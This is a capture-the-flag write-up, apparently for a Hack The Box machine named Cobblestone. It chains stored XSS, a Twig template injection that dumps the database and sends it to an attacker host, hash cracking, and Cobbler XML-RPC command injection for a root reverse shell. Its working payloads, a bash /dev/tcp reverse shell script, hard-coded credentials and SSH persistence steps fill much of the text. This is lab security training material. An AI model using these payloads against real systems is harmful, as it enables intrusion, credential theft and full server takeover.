19TH AUGUST, 2025

[+]UPDATE

Patched two intended vectors.

First, an SQL file write was introduced when the machine was upgraded to mariadb version 10.11.11. This version grants CAP_DAC_OVERWRITE and CAP_AUDIT_WRITE to the mariadb binary, allowing the database to access any file as a non-root user. Upgraded mariadb again to newer version that removes these capabilities.

Second, mitigated an issue where a webshell could be uploaded using specially crafted image files.

Brief Intended Method

  • I am busy so I will add more detail at a later time, sort of spliced old WU with new intended method
  • Enumeration led to finding XSS+SSTI in Twig to fetch js payload and execute limited RCE
  • Eventually find db creds and can craft a payload to dump db for user hash
  • Root privesc remains the same as before with many possible RCE and File Read payloads
  • Just had to portfwd the ssh as user in order to interact with API for root privesc as www-data shell no longer an option from SQLi

Enum

  • As always initial port scans
$ export IP=10.129.40.96
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-`
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.
 
[~] Automatically increasing ulimit value to 10000.
Open 10.129.40.96:22
Open 10.129.40.96:80
 
*snip*
 
Nmap scan report for cobblestone.htb (10.129.40.96)
 
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBCfBUkQ4szy00s+EbTzIMq4Cv/mOkGWCD8xewIgvZ4zDI5pPhUaVYNsPaUmYzXgi0DzCy6s//8a1YFcyH398Nc=
|   256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICuDtua7ciUfRA2uUH+ergsCOdq0Aaoakru1kQ9/OWPs
80/tcp open  http    syn-ack Apache httpd 2.4.62
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Cobblestone - Official Website
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Update /etc/hosts
$ echo "$IP cobblestone.htb" | sudo tee -a /etc/hosts
  • We have a homepage

Endpoints

deploy.cobblestone.htb vote.cobblestone.htb mc.cobblestone.htb

  • Update /etc/hosts

{Need to add more details for intended method}

User

sql.js

fetch("http://cobblestone.htb/preview_banner.php", {
  method: "POST",
  credentials: "include",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "first={{['mysqldump -h localhost -u dbuser -paichooDeeYanaekungei9rogi0eMuo2o cobblestone']|filter('system')}}",
})
  .then((r) => r.text())
  .then((result) => {
    fetch("http://<IP>:<PORT>/?=" + btoa(result))
  })
  • Trigger the attack chain and catch results in HTTP server
USER="asdf$RANDOM"
curl -X POST http://cobblestone.htb/register.php \
  -d "username=$USER&first=asdf&last=asdf&email=$USER@asdf.com&password=asdfasdf" \
  -c asdf.txt 2>/dev/null
 
curl -X POST http://cobblestone.htb/login_verify.php \
  -d "username=$USER&password=asdfasdf" \
  -c asdf.txt 2>/dev/null
 
curl -b asdf.txt -X POST http://cobblestone.htb/suggest_skin.php \
  -d 'username=<script src="http://<IP>:<PORT>/sql.js"></script>&name=Exploit&url=asdf' \
  2>/dev/null
  • Base64 and HTML decode results to see user hash and crack it
10.129.40.96 - - [21/Aug/2025 11:24:10] "GET /?=PGgxIGNsYXNzPSJ0ZXh0LWxpZ2h0IGRpc3BsYXktMyI+V2VsY29tZSAvKk0hOTk5OTk5XC0gZW5hYmxlIHRoZSBzYW5kYm94IG1vZGUgKi8gCi0tIE1hcmlhREIgZHVtcCAxMC4xOS0xMi4wLjItTWFyaWFEQiwgZm9yIGRlYmlhbi1saW51eC1nbnUgKHg4Nl82NCkKLS0KLS0gSG9zdDogbG9jYWxob3N0ICAgIERhdGFiYXNlOiBjb2JibGVzdG9uZQotLSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLS0gU2VydmVyIHZlcnNpb24JMTIuMC4yLU1hcmlhREItZGViMTItbG9nCgovKiE0MDEwMSBTRVQgQE9MRF9DSEFSQUNURVJfU0VUX0NMSUVOVD1AQENIQVJBQ1RFUl9TRVRfQ0xJRU5UICovOwovKiE0MDEwMSBTRVQgQE9MRF9DSEFSQUNURVJfU0VUX1JFU1VMVFM9QEBDSEFSQUNURVJfU0VUX1JFU1VMVFMgKi87Ci8qITQwMTAxIFNFVCBAT0xEX0NPTExBVElPTl9DT05ORUNUSU9OPUBAQ09MTEFUSU9OX0NPTk5FQ1RJT04gKi87Ci8qITQwMTAxIFNFVCBOQU1FUyB1dGY4bWI0ICovOwovKiE0MDEwMyBTRVQgQE9MRF9USU1FX1pPTkU9QEBUSU1FX1pPTkUgKi87Ci8qITQwMTAzIFNFVCBUSU1FX1pPTkU9JiMwMzk7KzAwOjAwJiMwMzk7ICovOwovKiE0MDAxNCBTRVQgQE9MRF9VTklRVUVfQ0hFQ0tTPUBAVU5JUVVFX0NIRUNLUywgVU5JUVVFX0NIRUNLUz0wI...
*snip*
INSERT INTO `users` VALUES
(1,'admin','admin','admin','admin@cobblestone.htb','admin','f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1','*'),
(2,'cobble','cobble','stone','cobble@cobblestone.htb','admin','20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d','*'),
  • Crack hash for cobble
$ hashcat -m 1400 -a 0 '20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d' /usr/share/wordlists/rockyou.txt
 
20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d:iluvdannymorethanyouknow
  • SSH as cobble
$ sshpass -p 'iluvdannymorethanyouknow' ssh cobble@IP
 
cobble@cobblestone:~$ ls
user.txt
 
cobble@cobblestone:~$ id
-rbash: id: command not found

Root

  • rbash restricts cobble user to the point of no available privesc easily and I circled back to www-data
  • Escaping rbash based on the available binaries to cobble might not even be possible
  • However as we can see cobblerd is running on unusual port 25151
cobble@cobblestone:~$ ps aux
 
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
*snip*
root        1127  0.1  1.7 145096 69036 ?        Ss   08:22   0:00 /usr/bin/python3 /usr/local/bin/cobblerd -F
 
 
cobble@cobblestone:~$ ss -tulp
 
Netid        State         Recv-Q        Send-Q               Local Address:Port                Peer Address:Port       Process
tcp          LISTEN        0             5                        127.0.0.1:25151                    0.0.0.0:*
  • Cobbler uses this as default port (XML-RPC) and runs as root
  • Attempting default credentials cobbler:cobbler shows successful authentication (there is also an auth bypass CVE)
  • Let’s use our SSH as cobbler to portfwd this Cobbler API
$ sshpass -p 'iluvdannymorethanyouknow' ssh -L 25151:127.0.0.1:25151 cobble@cobblestone.htb
  • Enumerating viable attack paths I stumbled across full root RCE via cmd injection through background_import
  • Team members found public script floating around utilizing template_files as read only exploit
  • Seems shell=True was patched out completely in more recent versions, patching this particular RCE opportunity
  • Compared source to newer source to determine changes
  • There were several other valid RCE opportunities, but I will just detail the cleanest approach I found.

Cobbler example

# vulnerable cmd injection
 
rsync_cmd += " " + rsync_flags  # String concat
subprocess_call(cmd, shell=True)  # Shell interprets
 
# was patched via
 
rsync_cmd.append(rsync_flags)  # List append
subprocess_call(cmd, shell=False)  # No shell
  • So we can achieve RCE using XML-RPC API call with cmd injection of background_import method (there are many others)
  • By portfwding we can interact locally with Cobbler API and achieve full root RCE
  • Script to send revshell as root

root.py

#!/usr/bin/env python3
 
import ssl
import sys
import xmlrpc.client
 
if len(sys.argv) != 3:
    print(f"Usage: {sys.argv[0]} <LHOST> <LPORT>")
    sys.exit(1)
 
IP = sys.argv[1]
PORT = sys.argv[2]
 
print(f"[+] Connecting to Cobbler API via localhost:25151")
c = xmlrpc.client.ServerProxy("http://127.0.0.1:25151/", context=ssl._create_unverified_context(), allow_none=True)
 
print(f"[+] Logging in with cobbler:cobbler")
t = c.login("cobbler", "cobbler")
print(f"[+] Token: {t}")
 
print(f"[+] Triggering reverse shell to {IP}:{PORT}")
result = c.background_import({"path": "/tmp", "name": f"$(bash -c 'bash -i >& /dev/tcp/{IP}/{PORT} 0>&1')"}, t)
print(f"[+] Result: {result}")
  • Start listener and execute the script for instant root!
  • Assumes /etc/hosts is correct
$ export LHOST=
$ export LPORT=
$ nc -nlvp $LPORT & python root.py $LHOST $LPORT && fg %1
 
[2] 679335
listening on [any] 6969 ...
[+] Connecting to Cobbler API via localhost:25151
[+] Logging in with cobbler:cobbler
[+] Token: NZzu42s45NBzYJAhysz8zHVsSoxJ48IjcQ==
[+] Triggering reverse shell to 10.10.14.131:6969
[+] Result: 2025-08-20_033923_Media import_31b6ecb7be1d4d83ab98c9879ebd50a0
[1]  - 679132 running    nc -nlvp $LPORT
connect to [10.10.14.131] from (UNKNOWN) [10.129.40.96] 35600
bash: cannot set terminal process group (1127): Inappropriate ioctl for device
bash: no job control in this shell
 
root@cobblestone:/$ id
uid=0(root) gid=0(root) groups=0(root)
 
root@cobblestone:/$ cat /root/root.txt
60a09382ef90246db3e72c018abe5f8a
 
root@cobblestone:/$ cat /etc/shadow
 
root:$y$j9T$GkvDOmNntXI/Ewjpng7nM.$0J4ZYo3xXXfM7SfPKZ67Y.wY./PmrX7/bXDywzXSPr2:19993:0:99999:7:::
cobble:$y$j9T$f3bI5YQItFNvEEL8PKykT/$9WNiwpF59w4Mk84C8evmIn8.t9IRjRf/FphzbwYLt80:19993:0:99999:7:::

  • If you want to add your own ssh key to root, you will have to enable public key authentication
sed -i 's/^PubkeyAuthentication no/PubkeyAuthentication yes/' /etc/ssh/sshd_config
grep "PubkeyAuthentication" /etc/ssh/sshd_config
sed -i 's/^#AuthorizedKeysFile/AuthorizedKeysFile/' /etc/ssh/sshd_config
grep "AuthorizedKeysFile" /etc/ssh/sshd_config
systemctl restart ssh